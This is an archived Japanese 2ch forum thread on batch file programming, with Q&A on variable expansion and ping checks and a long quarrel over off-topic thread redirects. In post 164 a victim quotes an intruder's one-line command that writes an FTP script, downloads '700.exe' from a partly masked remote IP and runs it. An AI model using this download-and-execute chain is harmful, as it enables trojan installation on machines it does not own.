[表示 : 全て 最新50 1-99 101- 201- 301- 401- 501- 601- 701- 801- 2chのread.cgiへ]
Update time : 03/24 08:23 / Filesize : 194 KB / Number-of Response : 825
[このスレッドの書き込みを削除する]
[+板 最近立ったスレ&熱いスレ一覧 : +板 最近立ったスレ/記者別一覧] [類似スレッド一覧]


↑キャッシュ検索、類似スレ動作を修正しました、ご迷惑をお掛けしました

バッチファイルプログラミング 3.bat



1 名前:デフォルトの名無しさん [2006/05/25(木) 00:45:55 ]
前スレ
バッチファイルプログラミング 2.bat
pc8.2ch.net/test/read.cgi/tech/1104911889/

関連スレ
初心者〜管理者まで必読!コマンドライン(DOS Pt.4)
pc8.2ch.net/test/read.cgi/win/1116131036/
MS-DOS・Win3.1総合スレッド
pc8.2ch.net/test/read.cgi/win/1025462258/
WSH(・∀・)スレッド!
pc8.2ch.net/test/read.cgi/tech/1055075469/

バッチファイルプログラミングとは・・・・
・ファイル拡張子が ".bat"
・複数のコマンドを使い、実行させるバッチファイルを作る
を満たせばOK!

116 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 00:28:13 ]
>>115さん
ありがとうございます。
試してみたのですが、できませんでした。。
結果 %TEST1% となってしまいます。
当方、XPです。

117 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 00:45:55 ]
>>116
%TEST1% という文字列が出力できるなら
それを新しいbatに書き込んで実行するだけだからもう一息だね!



互換性を犠牲wにしてもいいなら遅延環境変数の展開を有効にした方が簡単だけどね。
setlocal enabledelayedexpansion
echo !TEST%CNT%!

118 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 00:57:36 ]
>>117さん
中間ファイルを作らずに実行するには
setlocalしかないですかね。。?


119 名前:114,116,118 mailto:sage [2006/12/15(金) 01:01:37 ]
一応、中間ファイルを作成して実行できました!
できれば中間ファイルを挟まずに実行したいのですが、
setlocal 〜 でうまく出ませんでした。なぜだろう。。

120 名前:114,116,118 mailto:sage [2006/12/15(金) 01:11:39 ]
すみません。
echo | echo %test%cnt%% でいけました。

色々と教えてくれた方、ありがとうございます。
お騒がせしました。

121 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 02:08:57 ]
call echo %%test%cnt%%%


122 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 14:26:54 ]
パイプの右側はサブプロセスで実行されるので、
echo | set hoge=%%test%cnt%%%
とやっても、現プロセスで受け取れませんが、
call set hoge=%%test%cnt%%%
ならok


123 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 14:34:49 ]
ここは本スレへ誘導するためのスレです。

↓↓ ↓本スレはWindows板にあります↓↓ ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
pc8.2ch.net/test/read.cgi/win/1152544955/

124 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 14:48:49 ]
>>117
>遅延環境変数の展開
→環境変数の遅延展開(delayed expansion)




125 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 15:04:06 ]
call :sub echo %%TEST%CNT%%%
goto :eof
:sub
%*

126 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 16:14:57 ]
プログラミングじゃなくてOSの仕様の話だな

127 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 18:13:50 ]
cmd /c echo %%TEST%CNT%%%

お手を煩わせるのはなんなので

123 :デフォルトの名無しさん :2006/12/15(金) 14:34:49
ここは本スレへ誘導するためのスレです。

↓↓ ↓本スレはWindows板にあります↓↓ ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
pc8.2ch.net/test/read.cgi/win/1152544955/

128 名前:デフォルトの名無しさん [2006/12/15(金) 20:27:09 ]
NGワード:初心者〜管理者まで
NGワード2:必読!コマンドライン

129 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 20:36:32 ]
別にお前のNG設定なんて晒さなくてもいいよ
誰も興味ないからw

130 名前: mailto:sage [2006/12/15(金) 21:11:20 ]
>>127
このスレを立てたものですが、はっきり言って迷惑です ('A`)
1に書いてある趣旨を外れなければ、バッチファイルプログラミングです。
他のスレがよければ、自分だけでそっちに行ってください。

131 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 21:20:10 ]
本スレあるのに気がつかないとかわいそうだろ

132 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 21:22:43 ]
スレ立てた人も、他の住人も立場的には全く変わらないわけだが。
>>6でも言われてるでしょ。

133 名前: mailto:sage [2006/12/15(金) 21:54:32 ]
だから他がよければ他に行けって
おまえ一人でさ。
止めはしないよ。

134 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 21:57:09 ]
あれは別に「本」スレじゃないだろ



135 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 22:00:35 ]
バッチ限定でプログラミングだとスレが成り立たない。
実際プログラミングに関係ない話ばっかりだし
ここは廃止でいい。

136 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 22:04:06 ]
はいはい

137 名前: mailto:sage [2006/12/15(金) 22:05:09 ]
>>82-128
よくみてみろ。
関係ない話をしているのは、誘導スレを連続貼りしてるおまえだけだと思うが。
他は、スレの趣旨に則った質問と回答のレスしかないだろ。

他所が良ければ、他所に行っていいよ。
このスレが嫌なら自分でスレを立てればいい。
とにかく迷惑なんだよ。人の迷惑。

138 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 22:12:44 ]
コマンドプロンプトの使い方とか「板違い」だから
やりたければよその板でやれ

139 名前: mailto:sage [2006/12/15(金) 22:15:40 ]
>>138
じゃ、正式に手続き取って削除依頼でも出してくればいい。
このスレは3スレ目だが、2スレ目と1スレ目を立てたのは俺じゃない。
それだけ、需要があるんだよ。
嫌がらせしないで、板違いだとおっしゃるなら、どうぞ削除依頼に
出してください。

140 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 22:19:03 ]
>>138
ここはコマンドプロンプトの使い方でなくてバッチファイルプログラムのスレだろ。

141 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 22:53:08 ]
そもさん
ファイルの行数、文字数は如何に?

そもさん
環境変数の値のバイト数、文字数は如何に?

142 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 22:55:10 ]
>>141
あんたは禅宗か

143 名前:デフォルトの名無しさん mailto:sage [2006/12/15(金) 23:00:58 ]
あれ、禅問答みたいなことやってると思って、つい。

144 名前:デフォルトの名無しさん [2006/12/16(土) 01:55:18 ]
UNIXのshllだったら、以下の様な記述でPING結果による条件分岐が出来たのですが、
バッチだったらどの様に記述したら良いでしょうか?
if [ `/usr/sbin/ping $HOST_NAME 2>&1 | /usr/bin/awk '{ print $3 }'` = "alive" ]; then
echo "$HOST_NAME is alive"
else
echo "UNKNOWN HOST $HOST_NAME"
fi

何をしたいのかと言えば、サーバにPINGして応答があった場合、
net use \\server1\share1 /user:domain\user01 password01
でサーバに接続して処理する仕組みをバッチファイルに組み込みたいのです。



145 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 05:48:24 ]
>>144

for /f "usebackq delims==" %%i in (`%windir%\System32\ping.exe %HOST_NAME% ^| find /c "(100%% loss)"`) do if "%%i"=="0" (
echo %HOST_NAME% is alive
) else (
echo UNKNOWN HOST %HOST_NAME%
)

もっといい方法はあるかな

146 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 08:00:22 ]
ping結果は、100%% loss だけじゃなくて
unknown host とかunreach・・・とかもあるな。


147 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 08:45:15 ]
>>144
わざわざそんなことしなくても&&のようなもの(shellによるだろうけど)使えば一発じゃないか?
プログラミングを始める前にshellなりコマンドプロンプトの勉強をした方が良いと思われます。

148 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 09:18:51 ]
まさかこのスレにshellの能書き垂れる馬鹿がいるとは……

149 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 11:06:29 ]
>>144
バッチ初心者はこちらへどうぞ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
pc8.2ch.net/test/read.cgi/win/1152544955/

150 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 13:53:36 ]
>>149は荒し

151 名前:デフォルトの名無しさん mailto:sage [2006/12/16(土) 16:08:03 ]
>>147
手本を見せてみろ

152 名前:127 mailto:sage [2006/12/17(日) 04:09:53 ]
すみません。
無駄に>>123にスレッドが消費されないように、>>123を貼り付けたのですが、
かえって、たくさん消費されちゃいましたね。
アイデアとしてはよいと思ったのですが、やっぱ駄目ですかね。

153 名前:デフォルトの名無しさん mailto:sage [2006/12/17(日) 08:23:40 ]
>>152
荒らし目的なら兎も角、そうでないなら頭悪すぎだからな。

154 名前:デフォルトの名無しさん [2006/12/19(火) 10:13:24 ]
朝っぱらからスマソがおしえてくれ
IEを開くまでできるがその後、
ツール−インターネットオプション→クッキーの削除
するソースがわからん



155 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 10:39:05 ]
スレ違い

156 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 11:30:41 ]
>>154
自分でプログラムを作らない人はここへ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
pc8.2ch.net/test/read.cgi/win/1152544955/

157 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 15:10:08 ]
>>154
やったことないけど
del C:\Documents and Settings\username\Cookies\*.txt
は?

158 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 15:49:05 ]
>155-156
誘導スマソ ここが適所スレとおもた。
>157
なるほど直接ファイルのあるフォルダを指定して消すやり方もあるんだなぁ

キーボード操作でメニューバー動かすbatをおしえてくれろ
これで当分は自分でなんとか出来るからおねがいします

159 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 16:11:34 ]
batでは無理

参考
pc8.2ch.net/test/read.cgi/win/1152544955/354-364

160 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 16:18:25 ]
>>158
そういうのはバッチに限定しない方がいいからこっちへ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
pc8.2ch.net/test/read.cgi/win/1152544955/

DOS由来コマンドだけでなく、Windows バージョンアップのたびに拡充されてきたコマンド、
wsh(cscript)、cygwin、Resource Kit、Support Tools、その他のフリーソフト等ふくめ
コマンドラインインタフェースに関するネタならなんでもOK。

161 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 16:26:55 ]
>159-160
知らなかったorz

昨日batを知ったばかりの廚なのでスマソかった

162 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 16:45:06 ]
ちょっとだけスレ使わせていただきまつ

今、パソコン乗っ取られますた!ここの住人か?
初めての経験でつ勉強になりましたが気持ち悪かったです
で教えて欲しいですがセキュリティの甘いところはVPNのパスだけでしょうか?
それともルーターの設定があまいのかおしえれ

163 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 16:56:33 ]
昨日もおかしな現象が起こってたんだよな。
ipは晒してないから別の路線から来たと思うけど
それとも割れからトロイか?

164 名前:デフォルトの名無しさん mailto:age [2006/12/19(火) 17:06:05 ]
VPN経路で、ファイル名指定して実行で
cmd.exe /c del i&echo open xxx.xxx.xxx.115 11857 > i&echo user 1 echo get 700.exe >> i &echo quit >> i &ftp -n -s:i &700.ex
ここまで書いたおまいだよ!



165 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 17:27:25 ]
本スレはここ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
pc8.2ch.net/test/read.cgi/win/1152544955/

166 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 18:05:23 ]
別の板にスレ作っとくからそこへ鯉♪
スレ板名を記入しなくても分かるよな

スレッド汚してスマソかった。m(__)m

167 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 18:06:04 ]
>>164
とりあえずdel i は不要だな

かなりの確率でトロイだと思われ

168 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 18:34:43 ]
>>161
WSHを聞くなら、こっちが罵倒されないだけ、いいかも。
www.roy.hi-ho.ne.jp/mutaguchi/bbs/index.shtml

169 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 18:43:51 ]
>167
トロイだろうなorz
>168
どうもありがとうです

別板にスレ作ったが奴は来ないがルータ初期化してVNC切ったから
細かい事は読み取れないのか?分からなかったらメルアド知ってるだろw
そこにメール汁!!!あ、kenziの方な他はあまり見ないから。

170 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 20:43:19 ]
>>165は荒しなので無視してください

171 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 21:48:46 ]
バッチの本スレ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
pc8.2ch.net/test/read.cgi/win/1152544955/

172 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 21:53:06 ]
>>171のスレは「本スレ」ではありません。だまされないように。

173 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:07:28 ]
>>172は嘘です。だまされないように。

174 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:13:25 ]
バッチファイルプログラミング 3.bat
pc8.2ch.net/test/read.cgi/tech/1148485555/ プログラミング限定

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
pc8.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK



175 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:16:55 ]
それくらいの熱心さであっちに書き込んだらよいのに。
あっちに書くほどの技術内容がないから、こっちに無内容なこと書くわけ?

176 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:18:33 ]
執拗に同じものを貼る人はある種の病気なんだろうな。

177 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:24:17 ]
病気なら仕方がないか。早く直ってね。
それまで、みんな温かく見守ってあげようよ。
背景輻射、ブラックマターだと思って気にしないこと。
それが一番病人にいいんじゃないの。

178 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:32:17 ]
>>175-177
書きたいことは一度に書け。
もしかして他人の書き込みを装ったつもり?

179 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:34:50 ]
>>178
2,3人いるんだろ。
病人は早く寝たほうがいいですよ。

180 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:42:19 ]
心にやましいことがなければ、病気だと思う奴のことなんか放置すればいいのに
やましいことをしている自覚があるから、反論を書かずにはいられないんですね。

181 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:46:53 ]
>>178
本当の意図は何か、はっきり言ったらすっきりするんじゃないか?
>>1が嫌いとか、>>1にバカにされたことを根に持ってるとか。
引き合いに出して、ごめんね>>1 それくらいのことしか考えられないもんね。


182 名前:あぼーん mailto:あぼーん [あぼーん]
あぼーん

183 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:54:44 ]
181

184 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 22:55:01 ]
>>180
>心にやましいこと
それだよ、それ。想像でいいから、何だと思う?



185 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 23:01:15 ]
( ̄ー ̄)ニヤリ

186 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 23:46:08 ]
スレ立てから200日以上経過しているのに200レス逝かないスレ、
つまり1日平均1レス以下という勢いのスレで、
殆ど同じ思想の書き込みが、数分間隔で3連投。
同じような思想を持った人が2,3人居るという点は否定しないが
全てsageなので、スレが目立つ位置に上がったわけでもないのに
その3人が思想だけではなく文の特徴まで同じくして
このタイミングで書き込みってのは、さすがに…( ´_ゝ`)

187 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 23:51:04 ]
>>186
専ブラ使ってれば別に不思議でも何でもないのだが

188 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 23:54:16 ]
技術的内容のない書き込みは無用に、という程度のことを
思想とまで評価していただき、痛み入ります。
で、
自分のために書き込んでおられるなら、他人への迷惑となるのでお止めください。
他人のために書き込んでおられるなら、他人が無用と言っておりますのでお止めください。

189 名前:デフォルトの名無しさん mailto:sage [2006/12/19(火) 23:56:28 ]
たった数分の間に、同じ思想と同じ文章癖を持つ3人が
2chブラウザでプログラム板かこのスレが入ったお気に入りグループの更新を実行。
板垣恵介ならシンクロニシティだって言い出しそうだなw

> 他人のために書き込んでおられるなら、他人が無用と言っておりますのでお止めください。
「図星を突かれて痛いので、もうやめてください」と解釈しました。


190 名前:デフォルトの名無しさん mailto:sage [2006/12/20(水) 00:04:43 ]
>>189
どう解釈してもいいけれど、今後は無用な誘導はご遠慮ください。

191 名前:デフォルトの名無しさん mailto:sage [2006/12/20(水) 00:06:04 ]
type con >nul

192 名前:デフォルトの名無しさん mailto:sage [2006/12/20(水) 00:07:13 ]
CLS

193 名前:デフォルトの名無しさん mailto:sage [2006/12/20(水) 00:09:25 ]
このスレはこっちへ移動しました↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
pc8.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK

194 名前:デフォルトの名無しさん mailto:sage [2006/12/20(水) 00:13:27 ]
>>193はそっちのスレに移動してここに戻ってこないでください。
今後このスレには来ないでください。



195 名前:デフォルトの名無しさん mailto:sage [2006/12/20(水) 00:14:40 ]
>>191
そのコマンドラインは何を言っても無駄ってことかなw

196 名前:デフォルトの名無しさん mailto:sage [2006/12/20(水) 00:20:36 ]
>>192
折角、水に流して、と思ったのに。

197 名前:デフォルトの名無しさん mailto:sage [2006/12/24(日) 10:38:42 ]
cls

198 名前:デフォルトの名無しさん mailto:sage [2006/12/24(日) 10:39:59 ]
doskey /history

199 名前:あぼーん mailto:あぼーん [あぼーん]
あぼーん

200 名前:デフォルトの名無しさん [2006/12/24(日) 16:54:22 ]
バッチの質問はこのスレでok

201 名前:デフォルトの名無しさん mailto:sage [2006/12/24(日) 17:27:14 ]
ここは誘導するだけ
バッチとはそういうもの

202 名前:デフォルトの名無しさん mailto:sage [2006/12/24(日) 18:59:14 ]
そろそろ通報するか
十分同一コピペになっただろ。

203 名前:デフォルトの名無しさん mailto:sage [2006/12/24(日) 19:09:53 ]
>>202
残念ながらこの程度は全然問題ないよ。
試しに報告してみれば?
自分が過剰に反応してるだけだって思い知れるから。

204 名前:デフォルトの名無しさん mailto:sage [2006/12/24(日) 19:15:40 ]
了解
ただ今、荒らしのレス番、集計中。
ダメ元で報告してくるよ。



205 名前:デフォルトの名無しさん [2006/12/30(土) 09:46:59 ]
age

206 名前:デフォルトの名無しさん [2006/12/30(土) 09:47:54 ]
>>200
OK

207 名前:デフォルトの名無しさん mailto:sage [2006/12/30(土) 13:54:19 ]
プログラミング以外はスレ違い
バッチの質問はWindows板へ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
pc8.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK

208 名前:デフォルトの名無しさん mailto:sage [2006/12/30(土) 13:57:51 ]
>>207
スレ荒らすな

209 名前:デフォルトの名無しさん mailto:sage [2006/12/30(土) 14:17:37 ]
>>208
スレ荒らすな

210 名前:デフォルトの名無しさん mailto:sage [2006/12/30(土) 17:21:27 ]
2chの冬、厨房の冬。


211 名前:デフォルトの名無しさん mailto:sage [2006/12/30(土) 17:39:46 ]
 

212 名前:デフォルトの名無しさん mailto:age [2007/01/03(水) 15:23:09 ]
hosyu

213 名前:デフォルトの名無しさん mailto:sage [2007/01/04(木) 14:55:48 ]
スクリプト側で、俺はCScript専用だぜゴルァって言う方法ないでつか?


214 名前:デフォルトの名無しさん mailto:sage [2007/01/04(木) 15:29:35 ]
新鯖に移転ですー
バッチの使い方の質問はWindows板へ↓

初心者〜管理者まで必読!コマンドライン(DOS Pt.5)
pc10.2ch.net/test/read.cgi/win/1152544955/ バッチならなんでもOK



215 名前:デフォルトの名無しさん mailto:sage [2007/01/04(木) 18:53:56 ]
>>214は荒らしです

216 名前:デフォルトの名無しさん mailto:sage [2007/01/04(木) 19:01:18 ]
お前も相手にするなよ






[ 続きを読む ] / [ 携帯版 ]

前100 次100 最新50 [ このスレをブックマーク! 携帯に送る ] 2chのread.cgiへ
[+板 最近立ったスレ&熱いスレ一覧 : +板 最近立ったスレ/記者別一覧]( ´∀`)<194KB

read.cgi ver5.27 [feat.BBS2 +1.6] / e.0.2 (02/09/03) / eucaly.net products.
担当:undef